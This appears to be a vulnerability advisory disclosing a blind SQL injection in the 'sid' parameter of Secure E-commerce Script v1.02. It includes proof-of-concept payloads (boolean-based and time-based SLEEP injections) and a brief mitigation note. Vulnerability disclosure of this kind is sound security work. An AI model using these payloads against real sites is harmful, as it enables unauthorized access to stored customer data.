vendor:
Secure E-commerce Script
by:
8bitsec
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Secure E-commerce Script
Affected Version From: 1.02
Affected Version To: 1.02
Patch Exists: YES
Related CWE: N/A
CPE: a:phpscriptsmall:secure_e-commerce_script:1.02
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Kali Linux 2.0, Mac OS 10.12.6
2017
Secure E-commerce Script v1.02 – SQL Injection
SQL injection on [sid] parameter. Proof of Concept (PoC): SQLi: http://localhost/[path]/single_detail.php?sid=9 AND 5028=5028 Parameter: sid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sid=9 AND 5028=5028 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: sid=9 AND SLEEP(5)
Mitigation:
Input validation and sanitization, use of prepared statements (parameterized queries), use of stored procedures, and proper authorization and authentication.